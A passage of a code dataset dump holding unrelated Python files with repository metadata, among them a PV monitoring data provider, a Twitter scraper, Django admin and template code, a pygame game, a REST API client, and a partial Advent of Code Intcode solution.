start)\n","repo_name":"SHaDE-Lab/MaRTiny-server","sub_path":"src/service/ShadowDetection/ShadowDetector.py","file_name":"ShadowDetector.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12768513063","text":"from AbstractDataprovider import AbstractDataProvider\nimport mysql.connector\nimport datetime\n\nclass PVDayDataProvider(AbstractDataProvider):\n def get(self):\n\n data = []\n labels = []\n \n currentHour = datetime.datetime.now().hour\n currentQuarter = (datetime.datetime.now().minute / 15)+1\n currentTimeCode = currentHour*4 + currentQuarter\n \n\n mydb = self.getDataBaseConnection()\n\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT HOUR(Timestamp) AS Hour, CEIL((Minute(TimeStamp)+1)/15) AS Quarter, CEIL(AVG(P_PV)) FROM data WHERE DATE(`Timestamp`) = CURDATE() GROUP BY Hour, Quarter;\")\n myresult = mycursor.fetchall()\n\n empty = True\n lasthour = 0\n lastquater = 0\n for row in myresult:\n if empty : # Put 0 value before first dataset\n data.append(0)\n firstQuarter = row[1]-1\n firstHour = row[0]\n if firstQuarter == 0 :\n firstHour -= 1\n quarterLabel = \"45\"\n else :\n quarterLabel = \"00\" if (row[1]-2) == 0 else str((row[1]-2)*15)\n\n\n labels.append(str(firstHour)+\":\"+quarterLabel)\n\n data.append(row[2])\n labels.append(str(row[0])+\":\"+ (\"00\" if (row[1]-1) == 0 else str((row[1]-1)*15)))\n empty = False\n lasthour = row[0]\n lastquater = row[1]\n \n lastTimeCode = lasthour*4 + lastquater\n\n if not empty and currentTimeCode > lastTimeCode : # Put 0 value after last dataset if the last one is more that 15 minutes over\n data.append(0)\n hour = str(row[0] + (1 if (row[1]) == 4 else 0))\n labels.append(str(hour)+\":\"+(\"00\" if (row[1]) == 4 else str((row[1])*15)))\n\n if empty : \n data.append(0)\n labels.append(str(datetime.datetime.now().time()))\n \n mycursor.close()\n\n return {\n \"labels\":labels,\n \"datasets\":[\n {\n \"fillColor\" : \"rgba(31,106,226,0.4)\",\n \"strokeColor\": \"rgba(31,106,226,1)\",\n \"pointColor\": \"rgba(31,106,226,1)\",\n \"pointStrokeColor\": \"#fff\",\n \"pointHighlightFill\": \"#fff\",\n \"pointHighlightStroke\": \"rgba(220,220,220,1)\",\n \"scaleOverride\": \"true\",\n \"label\": 'PV Monitoring',\n \"scaleStartValue\": 0,\n \"scaleStepWidth\": 400,\n \"scaleSteps\": 4000,\n \"scaleMax\": 4000,\n \"data\": data\n }\n ]\n }","repo_name":"mosgreenhorn/helloworld_ts","sub_path":"api/PVDayDataProvider.py","file_name":"PVDayDataProvider.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"11133251230","text":"import pandas as pd\nimport snscrape.modules.twitter as snstwitter\n\nfrom tqdm import tqdm\n\n\nscraper_obj = snstwitter.TwitterSearchScraper('#holoEN')\nn_tweets = 50\n\ntweets = []\nfor i, tweet in tqdm(enumerate(scraper_obj.get_items()), desc='Tweets downloading: ', total=n_tweets):\n data = [tweet.date,\n tweet.id,\n tweet.rawContent,\n tweet.user.username,\n tweet.likeCount,\n tweet.retweetCount]\n tweets.append(data)\n\n if i == n_tweets:\n break\n\n\nfor tweet in tweets:\n if 'Kronii' in tweet[2]:\n print('')\n print(tweet)\nprint('')\n\n\ndf_tweets = pd.DataFrame(tweets, columns=['date', 'id', 'content', 'username', 'likeCount', 'retweetCount'])\ndf_tweets.to_feather('tweets.feather')\ndf_tweets.to_csv('tweets.csv')\nprint([x for x in df_tweets['content'] if 'Kronii' in x][0])\n","repo_name":"Cybernetic-Ransomware/proving_ground","sub_path":"RobMulla/snscrape_twitter_t.py","file_name":"snscrape_twitter_t.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71398086125","text":"from django.contrib import admin\nfrom news.models import Post\n\nfrom feincms.module.medialibrary.models import MediaFile\nfrom feincms.module.medialibrary.fields import MediaFileForeignKey\nfrom feincms.admin.item_editor import FeinCMSInline\n\nclass PostAdmin(admin.ModelAdmin):\n filter_horizontal = ('media_files',)\n raw_id_fields = ('photo', )\n list_display = ('headline', 'start_date', 'end_date', 'visible', )\n list_filter = ('start_date',)\n prepopulated_fields = {'slug': ('headline',)}\n search_fields = ('title', 'slug', 'body', )\n list_per_page = 10\n\n fieldsets = (\n (None, {\n 'fields': (('headline', 'visible'), 'slug', )\n }),\n ('Event details', {\n 'fields': ('start_date', 'end_date', 'location', )\n }),\n ('Description', {\n 'fields': ('body', 'photo', 'media_files'),\n 'classes': ('collapse',),\n }),\n )\n\n class Media:\n js = (\n \"/static/js/tiny_mce/tiny_mce.js\",\n \"/static/js/admin_tinymce.js\",\n )\n\nadmin.site.register(Post, PostAdmin)\n","repo_name":"garrettr/afa","sub_path":"news/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"12861885660","text":"from tkinter import *\r\nfrom PIL import ImageTk, Image\r\nimport os\r\n\r\n\"\"\"\r\nPara que la aplicación no se abra con la consola detrás, el script de python debe tener extensión \"pyw\", en lugar de \"py\"\r\n\"\"\"\r\n\r\nraiz=Tk()\r\n\r\nraiz.title(\"Ventana de pruebas\")\r\n\r\n#raiz.iconbitmap(r\".\\\\emoji.ico\") # El nombre es importante porque se utilizará para el nombre del empaquetado de la aplicación\r\nraiz.call('wm', 'iconphoto', raiz._w, ImageTk.PhotoImage(Image.open(os.path.dirname(__file__)+'/py_calc.ico')))\r\n\r\nraiz.geometry(\"640x480\")\r\n\r\nraiz.resizable(1,1) # (width, height) Habilita o bloquea la posibilidad de redimensión manual. Por defecto el valor es 1 ó True\r\n\r\nraiz.config(bg=\"blue\")\r\n\r\n#Siempre al final\r\nraiz.mainloop() # Bucle infinito de ejecución de la ventana para mantenerla a la escucha\r\n\r\n","repo_name":"elaris6/PythonPildoras","sub_path":"InterfacesGraficas/ventana_simple.py","file_name":"ventana_simple.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"6244324354","text":"import copy\nimport requests\nfrom requests.auth import HTTPBasicAuth\nimport os\n\ntry:\n from dotenv import load_dotenv\n load_dotenv()\nexcept ImportError:\n pass\n\nclass Api(object):\n def __init__(self, email = '', token = '', base_url = 'https://biigle.ifremer.fr/api/v1', headers = {}):\n \"\"\"Create a new instance.\n\n Args:\n email (str): The email address of the user.\n token (str): The API token of the user.\n\n Kwargs:\n base_url (str): Base URL to use for the API URL. Default: `'https://biigle.de/api/v1'`.\n headers (dict): Default headers to use for each request. Default: `{'Accept': 'application/json'}`.\n \"\"\"\n email = email if email else os.getenv('BIIGLE_API_EMAIL')\n token = token if token else os.getenv('BIIGLE_API_TOKEN')\n if email is None or token is None:\n raise ValueError(\"No API credentials were provided!\")\n self.auth = HTTPBasicAuth(email, token)\n self.base_url = base_url\n self.headers = {'Accept': 'application/json'}\n self.headers.update(headers)\n\n def call(self, method, url, raise_for_status = True, *args, **kwargs):\n \"\"\"Perform an API call\n\n In addition to the method and URL, any args or kwargs of the requests method are\n accepted.\n\n Args:\n method: The requests method to use for the api call.\n url: The API endpoint to call.\n raise_for_status: Raise an exception if the response code is not ok.\n \"\"\"\n if 'headers' in kwargs:\n headers = copy.deepcopy(self.headers)\n headers.update(kwargs['headers'])\n else:\n headers = self.headers\n kwargs['headers'] = headers\n kwargs['auth'] = self.auth\n\n response = method('{}/{}'.format(self.base_url, url), *args, **kwargs)\n\n if raise_for_status:\n if response.status_code == 422:\n body = response.json()\n raise Exception(body['message'], body['errors'])\n else:\n response.raise_for_status()\n\n return response\n\n def get(self, url, *args, **kwargs):\n \"\"\"Perform a GET request to the API\n\n See the `call` method for available arguments.\n \"\"\"\n return self.call(requests.get, url, *args, **kwargs)\n\n def post(self, url, *args, **kwargs):\n \"\"\"Perform a POST request to the API\n\n See the `call` method for available arguments.\n \"\"\"\n return self.call(requests.post, url, *args, **kwargs)\n\n def put(self, url, *args, **kwargs):\n \"\"\"Perform a PUT request to the API\n\n See the `call` method for available arguments.\n \"\"\"\n return self.call(requests.put, url, *args, **kwargs)\n\n def delete(self, url, *args, **kwargs):\n \"\"\"Perform a DELETE request to the API\n\n See the `call` method for available arguments.\n \"\"\"\n return self.call(requests.delete, url, *args, **kwargs)\n\n","repo_name":"marinmarcillat/CHUBACAPP","sub_path":"CHUBACAPP/Biigle/biigle.py","file_name":"biigle.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"32331605411","text":"from concurrent.futures import ThreadPoolExecutor\nimport threading\n\nnum = 0\n\nnumlock = threading.RLock()\n\ndef fiddle_with_num():\n global num\n with numlock:\n if num == 4:\n num = -50\n\ndef increment():\n global num\n with numlock:\n num += 1\n fiddle_with_num()\n\nif __name__ == \"__main__\":\n with ThreadPoolExecutor() as pool:\n for i in range(8):\n pool.submit(increment)\n print(num)","repo_name":"Apress/advanced-python-development","sub_path":"Ch07/listing07-06-reentrantlocks.py","file_name":"listing07-06-reentrantlocks.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"19"} +{"seq_id":"10984507849","text":"import random \r\nimport sys \r\nimport pygame\r\nfrom pygame.locals import * \r\n\r\n# global variables for the game\r\nfps = 32\r\nscreen_width = 289\r\nscreen_height = 511\r\nscreen = pygame.display.set_mode((screen_width, screen_height))\r\nground = screen_height * 0.8\r\ngame_images = {}\r\ngame_sounds = {}\r\nplayer = 'images/bird.png'\r\nbackground = 'images/background.png'\r\npipe = 'images/pipe.png'\r\n\r\ndef welcomeScreen():\r\n playerx = int(screen_width/5)\r\n playery = int((screen_height - game_images['player'].get_height())/2)\r\n messagex = int((screen_width - game_images['message'].get_width())/2)\r\n messagey = int(screen_height*0.13)\r\n basex = 0\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT or (event.type==KEYDOWN and event.key == K_ESCAPE):\r\n pygame.quit()\r\n sys.exit()\r\n elif event.type==KEYDOWN and (event.key==K_SPACE or event.key == K_UP):\r\n return\r\n else:\r\n screen.blit(game_images['background'], (0, 0)) \r\n screen.blit(game_images['player'], (playerx, playery)) \r\n screen.blit(game_images['message'], (messagex,messagey )) \r\n screen.blit(game_images['base'], (basex, ground)) \r\n pygame.display.update()\r\n FPSCLOCK.tick(fps)\r\n\r\n# defining main game\r\ndef mainGame():\r\n score = 0\r\n playerx = int(screen_width/5)\r\n playery = int(screen_width/2)\r\n basex = 0\r\n newPipe1 = getRandomPipe()\r\n newPipe2 = getRandomPipe()\r\n\r\n upperPipes = [\r\n {'x': screen_width+200, 'y':newPipe1[0]['y']},\r\n {'x': screen_width+200+(screen_width/2), 'y':newPipe2[0]['y']},\r\n ]\r\n \r\n lowerPipes = [\r\n {'x': screen_width+200, 'y':newPipe1[1]['y']},\r\n {'x': screen_width+200+(screen_width/2), 'y':newPipe2[1]['y']},\r\n ]\r\n\r\n pipeVelX = -4\r\n\r\n playerVelY = -9\r\n playerMaxVelY = 10\r\n playerMinVelY = -8\r\n playerAccY = 1\r\n\r\n playerFlapAccv = -8 \r\n playerFlapped = False \r\n\r\n\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE):\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN and (event.key == K_SPACE or event.key == K_UP):\r\n if playery > 0:\r\n playerVelY = playerFlapAccv\r\n playerFlapped = True\r\n game_sounds['wing'].play()\r\n\r\n\r\n crashTest = isCollide(playerx, playery, upperPipes, lowerPipes) \r\n if crashTest:\r\n return \r\n\r\n \r\n playerMidPos = playerx + game_images['player'].get_width()/2\r\n for pipe in upperPipes:\r\n pipeMidPos = pipe['x'] + game_images['pipe'][0].get_width()/2\r\n if pipeMidPos<= playerMidPos < pipeMidPos +4:\r\n score +=1\r\n # print(f\"Your score is {score}\") \r\n game_sounds['point'].play()\r\n\r\n\r\n if playerVelY ground - 25 or playery<0:\r\n game_sounds['hit'].play()\r\n return True\r\n \r\n for pipe in upperPipes:\r\n pipeHeight = game_images['pipe'][0].get_height()\r\n if(playery < pipeHeight + pipe['y'] and abs(playerx - pipe['x']) < game_images['pipe'][0].get_width()):\r\n game_sounds['hit'].play()\r\n return True\r\n\r\n for pipe in lowerPipes:\r\n if (playery + game_images['player'].get_height() > pipe['y']) and abs(playerx - pipe['x']) < game_images['pipe'][0].get_width():\r\n game_sounds['hit'].play()\r\n return True\r\n\r\n return False\r\n\r\ndef getRandomPipe():\r\n \r\n pipeHeight = game_images['pipe'][0].get_height()\r\n offset = screen_height/3\r\n y2 = offset + random.randrange(0, int(screen_height - game_images['base'].get_height() - 1.2 *offset))\r\n pipeX = screen_width + 10\r\n y1 = pipeHeight - y2 + offset\r\n pipe = [\r\n {'x': pipeX, 'y': -y1}, \r\n {'x': pipeX, 'y': y2} \r\n ]\r\n return pipe\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \r\n pygame.init() \r\n FPSCLOCK = pygame.time.Clock()\r\n pygame.display.set_caption(' Rescue Bird')\r\n game_images['numbers'] = ( \r\n pygame.image.load('images/0.png').convert_alpha(),\r\n pygame.image.load('images/1.png').convert_alpha(),\r\n pygame.image.load('images/2.png').convert_alpha(),\r\n pygame.image.load('images/3.png').convert_alpha(),\r\n pygame.image.load('images/4.png').convert_alpha(),\r\n pygame.image.load('images/5.png').convert_alpha(),\r\n pygame.image.load('images/6.png').convert_alpha(),\r\n pygame.image.load('images/7.png').convert_alpha(),\r\n pygame.image.load('images/8.png').convert_alpha(),\r\n pygame.image.load('images/9.png').convert_alpha(),\r\n )\r\n\r\n game_images['message'] =pygame.image.load('images/msg.png').convert_alpha()\r\n game_images['base'] =pygame.image.load('images/base.png').convert_alpha()\r\n game_images['pipe'] =(pygame.transform.rotate(pygame.image.load( pipe).convert_alpha(), 180), \r\n pygame.image.load(pipe).convert_alpha()\r\n )\r\n\r\n \r\n game_sounds['die'] = pygame.mixer.Sound('audio/die.wav')\r\n game_sounds['hit'] = pygame.mixer.Sound('audio/hit.wav')\r\n game_sounds['point'] = pygame.mixer.Sound('audio/point.wav')\r\n game_sounds['swoosh'] = pygame.mixer.Sound('audio/swoosh.wav')\r\n game_sounds['wing'] = pygame.mixer.Sound('audio/wing.wav')\r\n\r\n game_images['background'] = pygame.image.load(background).convert()\r\n game_images['player'] = pygame.image.load(player).convert_alpha()\r\n\r\n while True:\r\n welcomeScreen() \r\n mainGame() ","repo_name":"DhairviShah/Python-","sub_path":"Games/Rescue Bird/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38371091094","text":"#class person\r\nclass Person:\r\n\r\n #constructor to initiate the variables of class person\r\n def __init__(self):\r\n self.Name = ' '\r\n self.Age = 0\r\n self.Weight = 0\r\n\r\n #function input user attributes\r\n def input_person_data(self):\r\n self.Name = input(\"\\n\\nPlease enter the name of the person:\")\r\n self.Age = int(input(\"Please enter person's age:\"))\r\n self.Weight = int(input(\"Please enter person's weight:\"))\r\n\r\n #function print class person\r\n def get_person_data(self):\r\n print(\"\\n\\nThe name of the person is: \",self.Name)\r\n print(\"The age of the person is: \",self.Age)\r\n print(\"The weight of the person is: \",self.Weight)\r\n\r\n#Driver code main() function,two instances\r\nif __name__ == \"__main__\":\r\n\r\n #created object of first person\r\n person1 = Person()\r\n #call two functions\r\n person1.input_person_data()\r\n person1.get_person_data()\r\n\r\n #created object of second person\r\n person2 = Person()\r\n #call two functions\r\n person2.input_person_data()\r\n person2.get_person_data()","repo_name":"FelixHeath/CPS3320","sub_path":"tutorial3.py","file_name":"tutorial3.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"70975678443","text":"\nn,m = map(int,input().split())\n\ngraph = []\n\nfor i in range(n) :\n graph.append(list(map(int,input())))\n\n\ndef dfs(x,y) :\n #범위가 벗어난 경우 제외\n if x >= n or x <= -1 or y >= m or y <= -1 :\n return False\n\n #현재 노드 방문 체크\n if graph[x][y] == 0 :\n graph[x][y] = 1\n\n #상,하,좌,우 재귀\n dfs(x-1,y)\n dfs(x+1,y)\n dfs(x,y-1)\n dfs(x,y+1)\n return True\n\n return False\n\nresult = 0\n\nfor i in range(n) :\n for j in range(m) :\n # i,j 위치에서 DFS 완료시 카운트\n if dfs(i,j) == True :\n result += 1\n\nprint(result)\n\n","repo_name":"kanghowoo/thisIsCT_Python","sub_path":"DFS/149.py","file_name":"149.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17666120744","text":"from django import template\nfrom sga.models import RecipientSize, DisplayLabel\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef get_personal_template(substance):\n result= None\n template = DisplayLabel.objects.filter(label__substance__pk=substance).first()\n if template:\n result=template.pk\n\n return result\n\n@register.simple_tag\ndef permissionsUser():\n return 'Permissions Test'\n","repo_name":"Solvosoft/organilab","sub_path":"src/sga/templatetags/label_tags.py","file_name":"label_tags.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"23381055337","text":"import pygame\nfrom settings import *\n\n\nclass UI:\n def __init__(self):\n # general\n self.display_surface = pygame.display.get_surface()\n self.font = pygame.font.Font(UI_FONT, UI_FONT_SIZE)\n\n # bar setup\n self.health_bar_rect = pygame.Rect(10, 10, HEALTH_BAR_WIDTH, BAR_HEIGHT)\n self.energy_bar_rect = pygame.Rect(10, 34, ENERGY_BAR_WIDTH, BAR_HEIGHT)\n\n # weapon full image\n self.weapon_graphics = []\n for weapon_index in range(len(WEAPON_DATA.items())):\n weapon = pygame.image.load(list(WEAPON_DATA.values())[weapon_index]['graphics']).convert_alpha()\n self.weapon_graphics.append(weapon)\n\n # magic full image\n self.magic_graphics = []\n for magic in MAGIC_DATA.values():\n magic = pygame.image.load(magic['graphics']).convert_alpha()\n self.magic_graphics.append(magic)\n\n def show_bar(self, current, max_health, bg_rect, color):\n # draw bg\n pygame.draw.rect(self.display_surface, UI_BG_COLOR, bg_rect)\n\n # current bar\n radio = current / max_health\n current_width = bg_rect.width * radio\n current_rect = bg_rect.copy()\n current_rect.width = current_width\n\n # draw bar\n pygame.draw.rect(self.display_surface, color, current_rect)\n pygame.draw.rect(self.display_surface, UI_BORDER_COLOR, bg_rect, 3)\n\n def show_exp(self, exp):\n text_surf = self.font.render(str(int(exp)), False, TEXT_COLOR)\n x = self.display_surface.get_size()[0] - 20\n y = self.display_surface.get_size()[1] - 20\n text_rect = text_surf.get_rect(bottomright=(x, y))\n\n pygame.draw.rect(self.display_surface, UI_BORDER_COLOR, text_rect.inflate(20, 20), 3)\n self.display_surface.blit(text_surf, text_rect)\n\n def selection_box(self, left, top, switch):\n bg_rect = pygame.Rect(left, top, ITEM_BOX_SIZE, ITEM_BOX_SIZE)\n pygame.draw.rect(self.display_surface, UI_BG_COLOR, bg_rect)\n if switch:\n pygame.draw.rect(self.display_surface, UI_BORDER_COLOR_ACTIVE, bg_rect, 2)\n else:\n pygame.draw.rect(self.display_surface, UI_BORDER_COLOR, bg_rect, 3)\n return bg_rect\n\n def show_weapon(self, weapon_index, switch):\n bg_rect = self.selection_box(10, 600, switch)\n weapon_surf = self.weapon_graphics[weapon_index]\n weapon_rect = weapon_surf.get_rect(center=bg_rect.center)\n self.display_surface.blit(weapon_surf, weapon_rect)\n\n def show_magic(self, magic_index, switch):\n bg_rect = self.selection_box(95, 630, switch)\n magic_surf = self.magic_graphics[magic_index]\n magic_rect = magic_surf.get_rect(center=bg_rect.center)\n self.display_surface.blit(magic_surf, magic_rect)\n\n def display(self, player):\n self.show_bar(player.health, player.attribute['health'], self.health_bar_rect, HEALTH_COLOR)\n self.show_bar(player.energy, player.attribute['energy'], self.energy_bar_rect, ENERGY_COLOR)\n\n self.show_exp(player.exp)\n self.show_weapon(player.weapon_index, not player.switch_weapon)\n self.show_magic(player.magic_index, not player.can_switch_magic)\n","repo_name":"idloneal/pygame","sub_path":"类塞尔达/code/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"34268959551","text":"import requests\nimport json\nimport meraki_api_key\n\napi_key = meraki_api_key.my_key()\nurl = 'https://api.meraki.com/api/v0/organizations'\n\nheader = {\"X-Cisco-Meraki-API-Key\": api_key, \"Content-Type\": \"application/json\"}\n#payload = {\"enabled\":\"false\"}\n\nget_command = requests.get (url, headers = header) #data = json.dumps(payload))\ncommand = get_command.json()\n\nprint (get_command.response_code) #response code\nprint (command) #json response\n\n\n\n","repo_name":"Moonzie/Meraki_API_Testing","sub_path":"dash_template.py","file_name":"dash_template.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41517836959","text":"# coding: utf8\nimport zeit.cms.browser.interfaces\nimport zeit.cms.browser.view\nimport zeit.cms.content.interfaces\nimport zeit.cms.content.metadata\nimport zope.annotation.interfaces\nimport zope.cachedescriptors.property\nimport zope.component\nimport zope.dublincore.interfaces\nimport zope.interface\n\n\n@zope.interface.implementer(zope.annotation.interfaces.IAttributeAnnotatable)\nclass NoMetadata(zeit.cms.content.metadata.CommonMetadata):\n default_template = ''\n\n\nNO_METADATA = NoMetadata()\n\n\nclass Details(zeit.cms.browser.view.Base):\n \"\"\"Render details about an content object.\"\"\"\n\n @zope.cachedescriptors.property.Lazy\n def list_repr(self):\n return zope.component.queryMultiAdapter(\n (self.context, self.request), zeit.cms.browser.interfaces.IListRepresentation\n )\n\n @zope.cachedescriptors.property.Lazy\n def common_metadata(self):\n return zeit.cms.content.interfaces.ICommonMetadata(self.context, NO_METADATA)\n\n @property\n def teaser_title(self):\n if self.common_metadata is not NO_METADATA:\n return self.common_metadata.teaserTitle\n if self.list_repr is not None:\n return self.list_repr.title\n return None\n\n @property\n def teaser_text(self):\n if self.common_metadata is not NO_METADATA:\n return self.common_metadata.teaserText\n return None\n\n @property\n def preview_url(self):\n return zope.component.queryMultiAdapter(\n (self.context, 'preview'), zeit.cms.browser.interfaces.IPreviewURL\n )\n\n @property\n def live_url(self):\n return zope.component.queryMultiAdapter(\n (self.context, 'live'), zeit.cms.browser.interfaces.IPreviewURL\n )\n\n @property\n def resources_filename(self):\n urlstring = zope.component.queryMultiAdapter(\n (self.context, 'live'), zeit.cms.browser.interfaces.IPreviewURL\n )\n return urlstring.split('/')[-1]\n\n @zope.cachedescriptors.property.Lazy\n def graphical_preview_url(self):\n thumbnail = zope.component.queryMultiAdapter((self.context, self.request), name='thumbnail')\n if thumbnail is None:\n return None\n return self.url('@@thumbnail')\n\n @zope.cachedescriptors.property.Lazy\n def large_graphical_preview_url(self):\n thumbnail = zope.component.queryMultiAdapter(\n (self.context, self.request), name='thumbnail_large'\n )\n if thumbnail is None:\n return None\n return self.url('@@thumbnail_large')\n\n @property\n def author(self):\n if self.common_metadata is NO_METADATA:\n return None\n if self.common_metadata.authorships:\n author = self.common_metadata.authorships[0].target\n if author is not None:\n return author.display_name\n elif self.common_metadata.authors:\n return self.common_metadata.authors[0]\n return None\n\n @property\n def volume(self):\n year = self.common_metadata.year\n vol = self.common_metadata.volume\n if year is None:\n return None\n return (vol and '%s/%s' % (vol, year)) or '%s' % (year)\n\n @property\n def display_metadata(self):\n lsc = zeit.cms.content.interfaces.ISemanticChange(self.context).last_semantic_change\n entries = {\n 'teaser_title': self.teaser_title,\n 'created': lsc and lsc.strftime('%d.%m.%Y'),\n 'ressort': self.common_metadata.ressort,\n 'author': self.author,\n 'volume': self.volume,\n }\n sorted_entries = []\n for key in ['teaser_title', 'created', 'ressort', 'author', 'volume']:\n if entries[key]:\n sorted_entries.append([key, entries[key]])\n return sorted_entries\n\n def display_metadata_short(self):\n lsc = zeit.cms.content.interfaces.ISemanticChange(self.context).last_semantic_change\n return [\n x\n for x in [\n lsc and lsc.strftime('%d.%m.%Y'),\n self.common_metadata.ressort,\n self.author,\n self.volume,\n ]\n if x\n ]\n\n @property\n def type_declaration(self):\n no_type = type('NoTypeDeclaration', (object,), {'type_identifier': 'unknown'})\n return zeit.cms.interfaces.ITypeDeclaration(self.context, no_type)\n","repo_name":"ZeitOnline/vivi","sub_path":"core/src/zeit/cms/browser/objectdetails.py","file_name":"objectdetails.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"1083416611","text":"\"\"\"\n--- Day 7: Amplification Circuit ---\nBased on the navigational maps, you're going to need to send more power to your ship's thrusters to reach Santa in time.\nTo do this, you'll need to configure a series of amplifiers already installed on the ship.\n\nThere are five amplifiers connected in series; each one receives an input signal and produces an output signal. They are\nconnected such that the first amplifier's output leads to the second amplifier's input, the second amplifier's output leads\nto the third amplifier's input, and so on. The first amplifier's input value is 0, and the last amplifier's output leads\nto your ship's thrusters.\n\n O-------O O-------O O-------O O-------O O-------O\n0 ->| Amp A |->| Amp B |->| Amp C |->| Amp D |->| Amp E |-> (to thrusters)\n O-------O O-------O O-------O O-------O O-------O\n\nThe Elves have sent you some Amplifier Controller Software (your puzzle input), a program that should run on your existing\nIntcode computer. Each amplifier will need to run a copy of the program.\n\nWhen a copy of the program starts running on an amplifier, it will first use an input instruction to ask the amplifier for\nits current phase setting (an integer from 0 to 4). Each phase setting is used exactly once, but the Elves can't remember\nwhich amplifier needs which phase setting.\n\nThe program will then call another input instruction to get the amplifier's input signal, compute the correct output signal,\nand supply it back to the amplifier with an output instruction. (If the amplifier has not yet received an input signal, it\nwaits until one arrives.)\n\nYour job is to find the largest output signal that can be sent to the thrusters by trying every possible combination of phase\nsettings on the amplifiers. Make sure that memory is not shared or reused between copies of the program.\n\nFor example, suppose you want to try the phase setting sequence 3,1,2,4,0, which would mean setting amplifier A to phase\nsetting 3, amplifier B to setting 1, C to 2, D to 4, and E to 0. Then, you could determine the output signal that gets sent\nfrom amplifier E to the thrusters with the following steps:\n\nStart the copy of the amplifier controller software that will run on amplifier A. At its first input instruction, provide\nit the amplifier's phase setting, 3. At its second input instruction, provide it the input signal, 0. After some\ncalculations, it will use an output instruction to indicate the amplifier's output signal.\n\nStart the software for amplifier B. Provide it the phase setting (1) and then whatever output signal was produced from\namplifier A. It will then produce a new output signal destined for amplifier C.\n\nStart the software for amplifier C, provide the phase setting (2) and the value from amplifier B, then collect its output signal.\n\nRun amplifier D's software, provide the phase setting (4) and input value, and collect its output signal.\n\nRun amplifier E's software, provide the phase setting (0) and input value, and collect its output signal.\n\nThe final output signal from amplifier E would be sent to the thrusters. However, this phase setting sequence may not\nhave been the best one; another sequence might have sent a higher signal to the thrusters.\n\nHere are some example programs:\n\nMax thruster signal 43210 (from phase setting sequence 4,3,2,1,0):\n3,15,3,16,1002,16,10,16,1,16,15,15,4,15,99,0,0\n\nMax thruster signal 54321 (from phase setting sequence 0,1,2,3,4):\n3,23,3,24,1002,24,10,24,1002,23,-1,23,101,5,23,23,1,24,23,23,4,23,99,0,0\n\nMax thruster signal 65210 (from phase setting sequence 1,0,4,3,2):\n3,31,3,32,1002,32,10,32,1001,31,-2,31,1007,31,0,33,1002,33,7,33,1,33,31,31,1,32,31,31,4,31,99,0,0,0\n\nTry every combination of phase settings on the amplifiers. What is the highest signal that can be sent to the thrusters?\n\"\"\"\n\n### IMPORTS ###\n\nimport itertools\n\n\n### CONSTANTS ###\n\nOP_ADD\t\t\t\t= 1\nOP_MULT\t\t\t\t= 2\nOP_INPUT\t\t\t\t= 3\nOP_OUTPUT\t\t\t= 4\nOP_JUMP_IF_TRUE\t= 5\nOP_JUMP_IF_FALSE\t= 6\nOP_IS_LESS_THAN\t= 7\nOP_IS_EQUAL\t\t\t= 8\nOP_HALT\t\t\t\t= 99\n\nMODE_POSITION\t= 0\nMODE_IMMEDIATE\t= 1\n\n\n### FUNCTIONS ###\n\ndef get_params( codes, i, param_modes ):\n\tparams = [ ]\n\ti += 1\n\n\tfor mode in param_modes:\n\t\tif mode == MODE_POSITION:\n\t\t\tidx = codes[ i ]\n\t\t\tparams.append( codes[ idx ] )\n\t\telif mode == MODE_IMMEDIATE:\n\t\t\tparams.append( codes[ i ] )\n\n\t\ti += 1\n\n\treturn params\n\n\n### CLASSES ###\n\nclass Computer( ):\n\tdef __init__( self, program, inputs ):\n\t\tself._program = program\n\t\tself._inputs = inputs\n\n\t\tself.output = None\n\n\t\tself._codes = self._parse_program( )\n\n\n\tdef _parse_program( self ):\n\t\tvals = [ int( n ) for n in self._program.split( ',' ) ]\n\t\tcodes = { }\n\t\tidx = 0\n\n\t\tfor v in vals:\n\t\t\tcodes[ idx ] = v\n\t\t\tidx += 1\n\n\t\treturn codes\n\n\n\tdef run( self ):\n\t\tcodes = self._codes\n\t\toutput = None\n\t\tinput_idx = 0\n\n\t\ti = 0\n\n\t\twhile True:\n\t\t\t#print( 'codes1 =', ','.join( [ str( x ) for x in codes.values( ) ] ) )\n\t\t\t#print( 'i =', i 